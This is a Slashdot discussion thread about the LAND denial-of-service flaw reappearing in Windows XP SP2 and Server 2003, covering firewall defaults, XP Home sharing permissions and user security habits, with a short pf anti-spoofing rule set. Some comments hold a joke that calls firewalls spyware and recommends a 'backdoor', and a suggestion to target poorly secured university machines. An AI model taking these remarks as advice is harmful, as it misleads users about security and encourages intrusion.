      As the grandparent has correctly noted, MS removed many things in XP Home, among them NTFS & network security using MS's own UI. Luckily by installing cygwin you can set the security you want using chmod, chown & setfacl.

      --
      Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
    13. Re:What kind of software dev process do MS use? by bperkins · · Score: 1

      That's very interesting.
      I have two questions, I hope I'll be lucky enough for you to answer them:

      First of all:
      His thought was "the odds of someone making the same mistake twice are non existent".

      Did he not know what regression testing was, and what it's for? I'm not being retorical, I'm curious.

      Secondly, when you design your tests, do you generally try to specifically test the bug that existed, or do you try to be more general than that? To be specific, if your code had something like the LAND attack in it, what kind of test would you design?

    14. Re:What kind of software dev process do MS use? by phayes · · Score: 1

      There is a difference. MS damaged XP home's NTFS & file sharing permissions by only making them available when you boot into their so called 640x400x16 color "safe" mode.

      It's their way of saying "You should really be paying $50 more for XP Pro."

      --
      Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
    15. Re:What kind of software dev process do MS use? by DavidTC · · Score: 1
      While what you're talking about is stupid, actually, you can share any folder, and allow writes or disallow them.

      You just can't password protect said writes, or even put passwords on the reads, as far as I can tell.

      --
      If corporations are people, aren't stockholders guilty of slavery?
    16. Re:What kind of software dev process do MS use? by KDN · · Score: 1
      Did he not know what regression testing was..."
      I don't know, I did not know that term back then. My influence was a book called "Systems Programming", where it said that if you ever found a bug, devise a test to exercise it and include it into a test suite.

      As to whether or not I made the bug test general purpose, it depended. Some of the routines I wrote were very complicated, so I tried to generalize the testing for those. Others were more specific to the bug.

      What tests would i do today if I do if I were responsible for the code that broke due to the LAND attack? At the minimum I would have the original test. I would also do similar tests for UDP and ICMP. Would I do all the IP protocols? Maybe. I would at least do all the ones that I supported.

    17. Re:What kind of software dev process do MS use? by Nethead · · Score: 1

      "I can't believe I've been on /. since like 1997."

      Newbie.

      --
      -- I have a private email server in my basement.
    18. Re:What kind of software dev process do MS use? by mabinogi · · Score: 1

      can you not use calcs? (not that I'd ever recommend that for the sake of your sanity) or have they removed that too?

      --
      Advanced users are users too!
    19. Re:What kind of software dev process do MS use? by Technician · · Score: 1

      Simple File Sharing "feature" of XP Home Edition. Enabled by default,

      I went to the KB article and it said "Simple File Sharing is always turned on in Windows XP Home Edition-based computers."

      Just use this KB article to turn it off.

      Then it goes on to say "By default, the Simple File Sharing UI is turned on in Windows XP Professional-based computers that are joined to a workgroup. Windows XP Professional-based computers that are joined to a domain use only the classic file sharing and security interface."

      Simply put.. You can't turn it off in XP HOME!

      This leaves you at this security level if you share a folder.. from the article "Level 5: Shared on the network (Read and Write)
      This level is the most available and least secure access level."

      If you share a folder in XP HOME, your only choice of security is the very lowest. Full write privilages to anyone without a password! What the heck were they thinking?

      So yes I did read the article and all the hints provided to change the setting apply to XP Pro, not XP HOME. I Share a folder on my SAMBA box instead. It's much more secure. At least I can set permissions.

      --
      The truth shall set you free!
    20. Re:What kind of software dev process do MS use? by Trepalium · · Score: 1

      cacls still exists in XP home, but using it is painful to say the least (not to mention typing it since calcs comes off the fingers much easier and often than cacls)

      --
      I used up all my sick days, so I'm calling in dead.
    21. Re:What kind of software dev process do MS use? by Trepalium · · Score: 1

      You can, but you need access to the ACLS, which MS thoughtfully decided to hide from the use in XP Home. Other posters have mentioned that booting into "safe mode" lets you get access to the disabled features.

      --
      I used up all my sick days, so I'm calling in dead.
    22. Re:What kind of software dev process do MS use? by AndyCadley · · Score: 1

      If you share a folder in XP HOME, your only choice of security is the very lowest. Full write privilages to anyone without a password! What the heck were they thinking?

      Wrong.

      All file sharing under NT based operating systems (including XP Home) requires you to have a valid user account. Furthermore XP doesn't allow access to network shares to an account with a blank password.

      So, to access a shared folder on XP you need both a username and password. The nearest you can get to the, frankly weak, 95 model is to enable the Guest account with a password (as Guest will authenticate against any username provided it isn't a registered user.)

      This is more than adequate for most home users. Anyone sufficiently technially minded to be able to manage ACLs manually is, in all likelyhood, going to be using Pro anyway.

    23. Re:What kind of software dev process do MS use? by bperkins · · Score: 1

      Thanks for your response!

    24. Re:What kind of software dev process do MS use? by Technician · · Score: 1

      All file sharing under NT based operating systems (including XP Home) requires you to have a valid user account. Furthermore XP doesn't allow access to network shares to an account with a blank password.


      Ummmm... OK you seem to know. I've seen that for several users on the one box with each user having a home directory, but it seems to fall apart for me when a folder is shared on a LAN.

      Here's the setup. An XP home machine was added to an existing peer to peer SMB LAN with a mix of Windows machines. A user with admin privilages created a shared folder on the XP machine. There is no option to set a password on the shared folder over the LAN. Now anyone with a network neighborhood icon can open the shared folder on the XP box and read and write anything to the shared folder. This is the current sad state of affairs. It doesn't ask for a password or username. Any user on Win 95, 98, 98 SE, ME can connect to the shared XP folder.

      Just where is the username and password set on the XP Home box? Why isn't it required for Netbios users to submit this password to gain access? My LAN would like to know...

      The XP Home seems to provide access to anyone who logs into their own machine connected to the LAN. It doesn't care the user does NOT have an account on the XP Home box.

      This is more than adequate for most home users.
      Unless you want to provide some files to the spouse on the LAN and restrict other files such as CC and checking balances.

      --
      The truth shall set you free!
    25. Re:What kind of software dev process do MS use? by AndyCadley · · Score: 1

      Are you using NTFS or FAT? Do you have the Guest account enabled? Unlike 9x based operating system you don't set a password on a per-share basis, you set passwords on user accounts and then grant permissions to users.

    26. Re:What kind of software dev process do MS use? by Technician · · Score: 1

      So the irony is that Microsoft can't even secure security features they're trying to cripple so they can make an extra ~$150 on you upgrading to XP "Pro"...


      Um no. I'll either upgrade to an old copy of 98 SE or SUSE. I'm done with the games.. I'm ready to go to work. Why would I be interested in the next DEMO OS. I'm ready for a real OS.

      --
      The truth shall set you free!
    27. Re:What kind of software dev process do MS use? by Technician · · Score: 1

      you set passwords on user accounts and then grant permissions to users.


      That's fine for XP home if this sharing is not on a LAN. The trouble is on the LAN. A Win 95, 98, etc box can open the shared folder in the Network Neighborhood with full access. It can't be protected by setting a read or write password. There is no folder option under sharing to set any password on the folder.

      Are you using NTFS or FAT?

      I haven't looked. It's the default Dell factory install. I'll check later.

      Do you have the Guest account enabled?

      I think there is one that was on the box by default, but nobody uses it. The Shared folder was not created by a guest user.

      --
      The truth shall set you free!
  8. Arr...i be by sea by Anonymous Coward · · Score: 1, Funny

    The pirates come by sea, not LAND.

  9. What'd you deduce by vijaya_chandra · · Score: 0, Offtopic

    if a 6.1 KB file takes 20 seconds to get downloaded?!

    only that the server is going to get fried

    1. Re:What'd you deduce by scovetta · · Score: 1

      2400 baud modem attached?

      (god, I loved by Hayes, it was so sturdy-- not like those crappy 57.6 modems that ran at 19.2...)

      --
      Wer mit Ungeheuern kämpft, mag zusehn, dass er nicht dabei zum Ungeheuer wird. --Nietzsche
  10. And you're surprised becuase by Nom+du+Keyboard · · Score: 0, Flamebait

    And everybody is surprised by this because...?

    --
    "It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
    1. Re:And you're surprised becuase by Maestro4k · · Score: 1
      And everybody is surprised by this because...?
      • Because even for Microsoft and the most rabid MS haters this is a real stunner. Reintroducing 8 year old vulnerabilities is the kind of thing you expect to see happen in a 300 level college course, not out in the real world in a major OS from one of, if not the, largest software company in the world.
  11. so what? by MC68000 · · Score: 2, Funny

    Amazing, if I don't use I firewall, I'm vulnerable. Who would have thought?

    --
    E = m c^3 Don't drink and derive E = m c^3
    1. Re:so what? by m50d · · Score: 4, Insightful

      This isn't funny, it's sad. People have been so brainwashed by MS that they believe it's normal for machines to not be safe if they have a direct internet connection.

      --
      I am trolling
    2. Re:so what? by dagoalieman · · Score: 1

      Actually, it's the right thought. Just the wrong reasoning.

      What's the safest terminal?? The unplugged one. Correction- unplugged and then slagged. Anything beyond that is less secure.

      It's really sad from both sides- you want data secure? Keep it off the network! Get a 233mhz box for cheap/free and run ancient office on it. You want data from a network- get a machine for that purpose, and understand any information on it is POTENTIALLY VULNERABLE. You want to secure that data? Move it off. Not that hard, really, especially with the newfangled devices available today.

      And then on the flip token, a machine put on the network should be as secure as possible until the user states they want to take the risk of opening up a port. Shame on any default setting which fails that test as well- Microsoft is guilty, but keep in mind most Linux(es??) are as well.

      Saddest thing is.. I'm not a security expert, but I seem to have the basic theories down better than the ones who let this stuff pass QA.

      --
      We don't need no Net Explorer We don't need no Thought control
    3. Re:so what? by Anonymous Coward · · Score: 0

      Has it ever occurred to you that a firewall computer doesn't have a firewall? Or that most firewall computers are running Linux? A properly configured computer should not need a firewall - it is just additional safety, which is required for Windoze, but optional for *nix.

    4. Re:so what? by drinkypoo · · Score: 1

      Uh, it is. Most operating system distributions have shipped with vulnerabilities. Of the vulnerabilities that we hear about, many or most of them are exploited before they are patched. Name an operating system in common use for desktops or servers today (not embedded, in other words) that has never had remote holes leading (however circuitously) to top-level privileges. This is why everyone has firewalls, even people who have a 100% Unix shop, or IBM shop, or what have you. It's just not a good idea to expose your network to the outside world. Blocking all packets from the outside is the best first step - then you open up what you need. Most uses of the internet can be carried out through proxy servers. Using NAT and reserved networks and blocking any packets heading to any of those networks that appear to be from the same network, or packets from any host on that network to the same host on that network is another good idea. It's best to have secure applications, but if you're not in control of all of them, that may be impossible.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    5. Re:so what? by m50d · · Score: 1

      Less secure, yes, but insecure? I think not. Properly audited services should be fine being opened up. While you shouldn't let something on the open internet on a secure box until it has reached a certain level of security, something like apache 1.x or ftpd should be fine. There are only so many lines of code there, they've had time, they shouldn't have any holes in them. Or the openbsd approach of servers running in their own jail is enough. There is no reason a computer should not be secure opened up to the internet and running services there. Part of the reason they aren't is sloppy coding, part is an emphasis on making things featureful at the expense of security. Which is exactly the reason why MS ships so insecurely - features sell, security doesn't, or at least didn't until recently.

      --
      I am trolling
    6. Re:so what? by m50d · · Score: 1

      Well, that's easy, openbsd. They've had remote access exploits, and local root exploits, but iirc never both on the same install. I admit I wouldn't have an answer if it weren't for them though.

      --
      I am trolling
    7. Re:so what? by drinkypoo · · Score: 1

      Even OpenBSD has had one or two... But not for eight years. The fact that they are the ONLY example of a commonplace yet secure OS in the past eight years basically proves my point :) Unless security is your primary focus you will never be secure. Making security your primary focus tends to make you move more slowly. Until users actually demand security, nothing will change. Users' primary demand is not security, or they would be running OpenBSD already.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  12. Only one thing though... by MtViewGuy · · Score: 4, Insightful
    Granted, you need to have the firewall turned off for this work, but there's a whole lotta machines that don't have it turned on.

    ...Isn't the Internet Connection Firewall that comes with Windows XP SP2 turned on by default when you install it in the first place?

    Anyway, given all the warnings about Internet security in the last five years, the majority of users will already have downloaded and installed firewall programs such as ZoneAlarm.

    1. Re:Only one thing though... by eviltypeguy · · Score: 5, Insightful

      If you think the majority of users are security minded like that, then why do you think the majority of users have so many problems that could be prevented in the first place by firewalls? Sorry, but my experience has been the opposite of your fairy tale.

    2. Re:Only one thing though... by yasth · · Score: 2, Interesting

      Yes but it does break a few things. And most users have certainly not downloaded zonealarm. Also W2k iirc does not have a built in firewall.

      Now granted it is only a DOS attack, but still.

      --
      I'd do something interesting, but my server can't handle a slashdotting.
    3. Re:Only one thing though... by the_rev_matt · · Score: 2, Interesting

      You haven't met many users outside the IT field apparently. I know plenty of family and friends who've turned off the firewall to play some game and oustide the IT field only a single one of my friends or family have heard of ZoneAlarm or anything like it.

      --
      this is getting old and so are you

      blog

    4. Re:Only one thing though... by PaperMCSE · · Score: 2, Interesting

      When you get a Dell and turn it on for the first time, you go through a little setup procedure. This is when you *are asked* if you want to turn the firewall on. Turning it on is labled as "recommended".

      I would imagine this is the same for any OEM Windows provider.

    5. Re:Only one thing though... by Technician · · Score: 1

      Yes but it does break a few things.

      It breaks sharing files on a LAN. Even if you have dual network cards or are on dial-up. The firewall is all or nothing. You can't firewall the Internet connection (dialup or otherwise) and not firewall the other adaptor (NIC or second NIC) for local LAN filesharing. Getting the first XP box on both the LAN and Internet was an endless configuration circle for a while. Turning one on turned the other off.

      --
      The truth shall set you free!
    6. Re:Only one thing though... by jayloden · · Score: 1

      ...Isn't the Internet Connection Firewall that comes with Windows XP SP2 turned on by default when you install it in the first place?

      Not, however, on Windows Server 20003, which is also affected by the exploit.

      the majority of users will already have downloaded and installed firewall programs such as ZoneAlarm.

      You might think that, but you've obviously never worked in end-user land with Windows users. In the time I've worked on end user Windows machines, I've seen maybe three machines that had firewalls, and they all had rules so permissive (because users dont know what to block and what to permit) that they were just as useless as not having one.

      -Jay

    7. Re:Only one thing though... by peg0cjs · · Score: 1
      Actually, Windows 2000 does come with a built-in firewall. MSFT in their infinite wisdom just decided to not provide a good interface to it, or even a convenient shortcut. The interface is rough, even by MSFT standards, but with a little tinkering, it will do most of what you need it to.

      Here is a good link http://homepages.wmich.edu/~mchugha/w2kfirewall.ht m to walk you through setting it up.

      --
      Karma: Excellent (Mainly due to Bill & Ted's Karma Adventure)
    8. Re:Only one thing though... by Evo · · Score: 1

      Don't be silly. Just go into 'Advanced' and untick the interfaces you do not want the firewall applied to.

    9. Re:Only one thing though... by nolife · · Score: 1

      I am confused to what you are refering too (XP? W2K? MS Firewall?) so I may be talking about something else.
      Either way.. You SHOULD be able to select individual adapters that are and are not firewalled. I can on my XP machine for any number of adapters and it works fine. Local network, wireless, dialup, and my DSL connection are all independently controlled. In fact, we take it a step further on our work computers and use policies and scripts that any interface that is connected to our network will have the firewall off for that specific adapter. If it is not specifically attached to our network, the firewall is on. This allows full unfirewalled access to the machines by use or our various systems when people are in the office, dialed into our modem pool, or authenticated to our office wireless and full firewall when they are somewhere else on any other network using the same adapters.

      --
      Bad boys rape our young girls but Violet gives willingly.
    10. Re:Only one thing though... by ILikeRed · · Score: 1

      Why would you want to do regression testing. Someone is, just appears it is not microsoft....

      --
      I have come to a conclusion that one useless man is a shame, two is a law firm, and three or more is a congress -J Adams
    11. Re:Only one thing though... by wren337 · · Score: 1
      the majority of users will already have downloaded and installed firewall programs

      You've never met the majority of users, have you?

    12. Re:Only one thing though... by Anonymous Coward · · Score: 0

      Exactly. Which is why everybody runs Linux now - because it's so extraordinarily easy for neophytes to use. Oh wait...

    13. Re:Only one thing though... by peg0cjs · · Score: 2, Interesting
      This is absolutely true!

      I remember when one of my friends (who lives 1000 kms away) was complaining to me about all the MSN Messenger spam she was getting and about how slow her pc was becoming. I had her instsall VNC & started tinkering remotely to see what I could see. I was amazed.

      1. She had a direct cable connection with no firewall. She didn't even know what a firewall was.
      2. She had IIS running on her box for no reason.
      3. She had SMTP server running for no reason (at least it wasn't an open relay)
      4. She hadn't run Windows Update in over a year.
      5. She had no A/V software running.

      It took about an hour of remote work to set her up in a far more secure way, another few hours to scan & clean all the spyware from her box and she hasn't had a problem since.

      I figured it was my good deed of the month and banked the karma, but it goes to show how little the non-IT world cares about security. All they want is:

      1. for the system to work,
      2. for the system to protect them,
      3. to stay up to date, and
      4. to not have to know anything about it.

      I could have thrown on 5. Profit! for me, but I didn't want to take advantage of a very close friend who has been there for me for the past 20+ yrs.

      --
      Karma: Excellent (Mainly due to Bill & Ted's Karma Adventure)
    14. Re:Only one thing though... by edxwelch · · Score: 1

      If you install SP2 on your machine you may find that a lot of your favourite software no longer works.
      http://www.emule-project.net/home/perl/new s.cgi?l= 1&cat_id=10
      (notice, that Microsofts official page about SP2 doesn't mention any of these problems)

    15. Re:Only one thing though... by OAB_X · · Score: 1

      The last time I was at an airport the terminal screens had the BSOD on them. Airports use home computers on home OS's.

    16. Re:Only one thing though... by knothead99 · · Score: 1

      I don't bother with ZoneAlarm. I put a linux box in the way and use a protocol level firewall. Also that box has helped me get around Adelphia's (I'm on cable) slow name resolution recently.

    17. Re:Only one thing though... by Anonymous Coward · · Score: 0

      Quote: "You've never met the majority of users, have you?"

      I have. I figure in a few years I'll have met all of them, if I can keep my rate up to several million per week.

    18. Re:Only one thing though... by northcat · · Score: 1

      It only needs one open port for the attack to work. A lot of machines have open ports for many reasons, like p2p. And servers, by definition, have open ports. The editor is either negligent or just simply stupid to say that just a firewall will protect your box.

    19. Re:Only one thing though... by nmos · · Score: 2, Insightful
      Serers will have a firewall. Home comptuers won't, but what's the point then?


      And when some worm implementing this attack rides inside of the firewall on a laptop or some removable media and attacks from the inside?
    20. Re:Only one thing though... by PhiltheeG · · Score: 1

      Who here has kids that bypass the firewall and answer "Y"es to allow traffic even though you expressly forbid them not to but they do so anyways and have full access to Administrator mode because the copy protection on their damned games requires Administrator mode? (Ooooh, Ohhhh - me me me!)

      --
      -Phil
      Shoot questions, first ask later...
    21. Re:Only one thing though... by Darren+Winsper · · Score: 1

      It's also the default option. Since many people just click "Next" until the screens go away, it's a good default.

    22. Re:Only one thing though... by DavidTC · · Score: 1

      Which, of course, means that any malware that gets in your network could take down the whole damn thing via a LAND attack. ;)

      --
      If corporations are people, aren't stockholders guilty of slavery?
    23. Re:Only one thing though... by Anonymous Coward · · Score: 0

      do you agree that Windows XP SP2 has the firewall on by default which prevents this attack? do you also agree that sp2 is the latest windows release?

      sorry, but your experience of being trapped in a third-rate crap job has caused you to become overly hostile and troll-like. you seem a bit jealous that you would be unable to get a job at an elite companie like microsoft even with 2x the iq.

    24. Re:Only one thing though... by drinkypoo · · Score: 1

      Uh, even in NT3.51 it was possible to block all incoming TCP, ICMP, and UDP and allow only the specific ports you want - and that was with the old IP Filtering stuff (still there, actually) and not the new Windows firewall. The firewall allows you to actually set allowed scopes for traffic, which is grouped by service; each service has a port or ports associated with it. You don't know what you're doing. Both my desktop machines here are running Windows XP SP2 and both of them have the firewall turned on in spite of the fact that I have a Linux firewall out in front of them - and filesharing works properly.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    25. Re:Only one thing though... by Anonymous Coward · · Score: 0

      not on the dells I setup, there is no default option, one has to be chosen before proceeding.

    26. Re:Only one thing though... by drew · · Score: 1

      Serers will have a firewall.

      In order for a server to be of any use whatsoever, you have to open the firewall to the ports where they are running services....

      --
      If I don't put anything here, will anyone recognize me anymore?
    27. Re:Only one thing though... by Darren+Winsper · · Score: 1

      *sigh* one day they'll get it right, I hope :/

    28. Re:Only one thing though... by theVP · · Score: 1

      I have to agree. There are too many users out there that aren't even computer literate, much less capable of updating their OS. A lot of them will try stuff they shouldn't even touch, too. Like BitTorrent. My dad tried using it, because he heard from someone else that it was really cool. He didn't have the foggiest clue what he was doing, but when they told him to turn off his SP2 firewall (UH-OH!) he did! I see examples of this all the time now. There were so many problems with internet applications after SP2 was released, that a lot of users have shut off the SP2 firewall. Not only that, there are a lot of businesses that use some sort of web app that requires ActiveX controls. In such a case, 9/10 scenarios require shutting off the firewall to get the software to work (although some of the software companies could have done some research to find out which settings needed to be made in the firewall). Most of them have a hardware firewall that'll block it, but as another /. user said above: "Only an SPI firewall will keep you safe." How many businesses do you know of that probably didn't think that kind of money needed to be spent?

      Don't think for one SECOND that all the firewalls in the world are the answer to this, because people aren't using them like you think they do.

      --
      "No one is more miserable than the person who wills everything and can do nothing." -Emperor Claudius 10 BC - AD 54
    29. Re:Only one thing though... by nolife · · Score: 1

      You are 100% correct. Once we finally roll out SP2, it will be tuned to something better then just "off" when on the local network.

      --
      Bad boys rape our young girls but Violet gives willingly.
    30. Re:Only one thing though... by Anonymous Coward · · Score: 0

      well duh, but the firewall will still catch packets deamed "bad" (unless MS *really* slacked off).

    31. Re:Only one thing though... by yasth · · Score: 1

      Thanks, that is a neat hack.

      I actually hope no one will really use it mind you, but it is cool. I don't think MS even meant for it ever to be used as a firewall per se much less a consumer one, so the interface is a bit more forgiveable.

      IPSec in general is a wonderful solution to a lot of problems, but the set up is so annoying.

      --
      I'd do something interesting, but my server can't handle a slashdotting.
    32. Re:Only one thing though... by Anonymous Coward · · Score: 0

      but it goes to show how little the non-IT world cares about security. All they want is:

      1. for the system to work,
      2. for the system to protect them,
      3. to stay up to date, and
      4. to not have to know anything about it.


      No, this is exactly what's wrong with IT and computers in general. It's not the fault of the non-IT people at all.

      Regular personal computers should be able to work EXACTLY like you described above. All of the above points are perfectly possible to a very large extent, the problem is intelectually impotent programmers driven by moron marketeers.

    33. Re:Only one thing though... by Technician · · Score: 1

      Don't be silly. Just go into 'Advanced' and untick the interfaces you do not want the firewall applied to.


      I have XP Home on the wife's machine. Not XP Pro.. I asked about XP home but I get all the answers for XP Pro (which has an advanced tab that XP HOME doesn't have.)

      --
      The truth shall set you free!
    34. Re:Only one thing though... by MtViewGuy · · Score: 1

      You haven't met many users outside the IT field apparently.

      If anyone had bothered to read in the last five years the business section of the newspaper (and often the front page!) they will get stories about problems with Internet security when you go online. Given the frequently deliberate scary tone of these stories that are aimed at general public readers, that's usually enough to concern the majority of users into inquiring about the use of antivirus programs, software and hardware firewalls, and anti-spyware programs. This is especially true in the last few years for new broadband Internet users, where the installation package for broadband usually do include at least a firewall program.

    35. Re:Only one thing though... by MtViewGuy · · Score: 1

      If you install SP2 on your machine you may find that a lot of your favourite software no longer works.

      That's not Microsoft's problem anymore, given that MS has "closed" a lot of the security loopholes in SP2 that many older programs need to work properly. You'll need to check with the software vendor to get a version that does work with WinXP SP2.

    36. Re:Only one thing though... by edxwelch · · Score: 1

      Did you read the link???
      "Microsoft released the Service Pack 2 (SP2) for Windows XP a few days ago, which will be distributed via the Windows Update within the next days. The SP2 is supposed to fix several bugs/exploits and to increase the security in general.
      One new "security features" limits the amount of simultaneous incomplete outbound TCP connection attempts and slows down all connection attempts, as soon as a limit has been reached. Unfortunatly this limit is "hard coded" and cannot be turned off by the user (while worms and other malware can easily patch some system files to avoid beeing affected). "

  13. Not that big of a deal by Anonimo+Covarde · · Score: 0, Redundant

    Not trying to be an M$ apologist, but who will really be vulnerable to this? Home (l)users will most likely have the firewall on (because it is on by default) and any sane IT dept. will have a hardware firewall guarding any internet facing windows boxen. If you haven't firewalled your boxen in this day and age, you pretty much get what you deserve.

    1. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      "Have you removed the security holes in the OS yet?" "No need. The firewall can handle it"

    2. Re:Not that big of a deal by Progman3K · · Score: 1

      I disagree.
      The best reason for a firewall is stealth.
      The second-best reason is to restrict access to certain service-ports for local-area network use only.

      But even when you do that, the local machines can still use an exploit (knowingly or as zombies) on one of the open ports if an exploit for that port exists.

      It's best BY FAR to fix your protocol to prevent exploits than hope the firewall keeps the Internet badguys out while praying none of your local machines are hostile.

      --
      I don't know the meaning of the word 'don't' - J
    3. Re:Not that big of a deal by itsnotthenetwork · · Score: 5, Insightful

      Nobody deserves to get their Boxen hacked, even if they don't always use the best available defenses.
      That is like saying the rape victim is at fault "'cause she looked so sexy"

    4. Re:Not that big of a deal by Dimensio · · Score: 4, Interesting

      I work in a university. Policy is not to have the Windows firewall turned on because it supposedly conflicts with a few needed applications. There is no hardware firewall whatsoever between the internal network and the outside world.

      Oh, and standard policy is to have user accounts set up as Administrator at all times.

      Cleaning up infected machines is a never-ending endeavour. Oddly, the few departments run by competent admins (as in, not the university's IT department) where user accounts are set up only as Users (among other things) don't have any security problems at all. I wonder why..

      Oh, and before anyone blames me: I'm a grunt with no authority whatsoever. I've voiced my objections to the way things are run, but I can do little more than that.

    5. Re:Not that big of a deal by Mikito · · Score: 2, Interesting

      I would think that there would still be a lot of people (home users) who are running Windows 95, 98, 2000 or XP unpatched. Not everybody can afford to buy new systems every couple of years, and not everybody would even think of upgrading their operating system, let alone patching it or activating a firewall.

      --
      Anakin Simpson: If you're not with me, then you're my enemy--ooh, donuts!
    6. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      I think you're lying. What university do you work for? The policy can be readily checked. Otherwise you're just another web bullshitter.

    7. Re:Not that big of a deal by punkass · · Score: 1

      That is quite possibly the worst comparison I've ever read in my life.

      --
      "Nobody owns the fucking words man." - James Dean
    8. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      Mod parent down.
      -Bad comparison.
      -Land attack is denial of service. not a hack.
      -Bad comparison.
      -Bad comparison.
      -Bad comparison.

    9. Re:Not that big of a deal by Ulric · · Score: 4, Insightful
      Anybody with a web server must accept incoming syn packets. If they are "protected" by something like:
      permit tcp any host 1.2.3.4 eq 80
      Then they are probably vulnerable.
    10. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      The bad guys are not always on the other side of the firewall. Using your analogy, all file shares and mail boxes should just have one default password that everyone uses. No access from the other side of the firewall so who cares, the internal users are always security minded people that do not open strange email or browse to questionable web sites so there should not be a problem right?

    11. Re:Not that big of a deal by Anonymous Coward · · Score: 1, Insightful

      I understand your actual position in the decision making but with no security at all like you describe, your computers and network have far more issues then a land attack to worry about. Be professional about it and voice your interests and concerns to the higher ups. When the shit hits the fan, you may get recognized as someone that should be at a higher position because you have an understanding and are very proactive. That is if you are actualy an employee there, if you are a student, the experience will help either way. Doing exactly what I described was a major reason I am now the Network Engineer at my current employer when I started as a phone monkey only a few years ago.

    12. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      University of SuckIt, Trollboy. I think you need to learn to be a little more smooth in your social engineering tactics. Besides, most universities are run like this, so if you're looking for some easy to harvest machines, just start with your local state u and work from there.

    13. Re:Not that big of a deal by pliny3 · · Score: 2, Interesting
      Anybody with a web server must accept incoming syn packets. If they are "protected" by something like: ...

      Using OpenBSD pf(4):

      # Non-routeable addresses. Used to detect packets with forged origins.
      NoRoute = "{ 127.0.0.1/8, 192.168.0.0/16, 172.16.0.0/12, 10.0.0.0/16, 255.255.255.255/32 }"

      # don't allow anyone to spoof non-routeable addresses
      block in log quick on $public_interface from $NoRoute to any
      block out log quick on $public_interface from any to $NoRoute
      An IIS server behind this isn't seeing those packets.
    14. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      Are you suggesting, in a roundabout way, that you have a "special" connection with your Windows box..?

    15. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      Or, depending on just how incompetent these folks are, you'll become the first suspect when the shit hits the fan due to your intimate knowledge of the systems and clear disrespect for your immediate superiors!

    16. Re:Not that big of a deal by Dimensio · · Score: 1

      University of Louisville, dipshit.

    17. Re:Not that big of a deal by DavidTC · · Score: 1
      Not only can you own Windows boxs, you often can 0wn other boxes, like Sun.

      I know a local college anyone can drive up to and get on the wireless and hack Suns. Of course, they don't really need to hack them, the Sun room uses one root password for the machines and everyone knows it.

      I.e., I wouldn't blame poor university security on Microsoft. ;)

      --
      If corporations are people, aren't stockholders guilty of slavery?
    18. Re:Not that big of a deal by drinkypoo · · Score: 1

      I work for a community college that uses NAT and firewalling to protect inside machines. Few users are Administrator. Our current problems are the users that won't stop using IE and the users that won't stop opening attachments they can't identify. Cleaning up the machines is a never-ending endeavour :) We're soon to implement a mail proxy that scans for spam and viruses, I guess next I need to find a tool that makes squid block bad URLs from some list I can trust. (ha ha)

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    19. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      I work for a training college and we need the firewall turned off to get many apps working.

    20. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      The University I go to hasn't locked down most of the WWW servers that go along with the printers.

      I could post an ip right here and you could change the IP address of the printer, change spooling settings, etc all from the comforts of your own home!

      A friend of mine and I emailed the admin about this glaring problem a few weeks ago with no response.

    21. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      That is like saying the rape victim is at fault "'cause she looked so sexy"

      Well...yeah!

    22. Re:Not that big of a deal by Anonymous Coward · · Score: 0
    23. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      incidentally, how would i have made that URL above into a hyperlink that would have been the word "this" ?

    24. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      You want DansGuardian (dansguardian.org), an open-source proxy (which easily plugs in to Squid) and lets you maintain a black or white list. I used to go to a school where this was used, and being 'one of those students', I tried every which way to get around it. I couldn't...the only thing someone could do is use an obscure server (i.e., one the admins don't know about, preferably one you set up yourself.) running an anonymizing, preferably encrypting proxy. Works charms at my current school. :)

    25. Re:Not that big of a deal by cortana · · Score: 1

      Post in HTML mode and do this. But don't do that! Google doesn't know what "this" is when it sees a hyperlink entitled such. Here's an article about why links entitled "click here" are a bad idea.

    26. Re:Not that big of a deal by Anonymous Coward · · Score: 0

      That is like saying the rape victim is at fault "'cause she looked so sexy"

      Yeah, but they're not helping anything by wearing skimpy clothing on a dark night in a bad part of town.

  14. Windows running slow? by hackwrench · · Score: 5, Funny

    It may be a little thing called a firewall. A firewall is a spyware-like little piece of software that constantly pings a special server called a firedoor so that spammers hackers, and their ilk know when your computer is available on the internet. Unfortuntely Microsoft refuses to release a patch for this thing but a piece of software called a backdoor can be used to prevent the firewall from doing its dirty work. Download one today!

  15. Guess we need Boston Church XP by kakos · · Score: 5, Funny

    01 if by LAND, 10 if by SEA

    1. Re:Guess we need Boston Church XP by Anonymous Coward · · Score: 3, Funny

      I thought it was 1 if by LAN, 2 if by C:

    2. Re:Guess we need Boston Church XP by Cylix · · Score: 1

      Think different, think binary....

      --
      "You should always go to other people's funerals; otherwise, they won't come to yours." -- Yogi Berra
    3. Re:Guess we need Boston Church XP by thinlineofsanity · · Score: 1

      There are 10 types of people...

  16. In any case... by M3rk1n_Muffl3y · · Score: 0, Troll

    Let's hope Dejan Levaja does not fall victim to the usual retaliation by big software co's like Dmitry Sklyarov.

    --
    This is not the sig you are looking for...
  17. On a more serious note.. by tabkey12 · · Score: 5, Interesting
    Blanket Attacks (like blaster, where every windows computer on the net with windows sharing on is hit about 6 times an hour) are usually only viable when the Default configuration is insecure.

    At least with SP2 there is some basic security in terms of the firewall being on by default.

    Still, never thought I'd see a slashdot article linking to a page about Trumpet Winsock in 2005!

    1. Re:On a more serious note.. by B3ryllium · · Score: 1

      Maybe I should dig out my old Trumpet Winsock dialup connect script that, instead of dialing the modem, showed an alert box with the decrypted saved password ...

  18. No Sir, It's not similar by vijaya_chandra · · Score: 1

    In this case, your computer is prone to failing when someone else decides that it should go down.

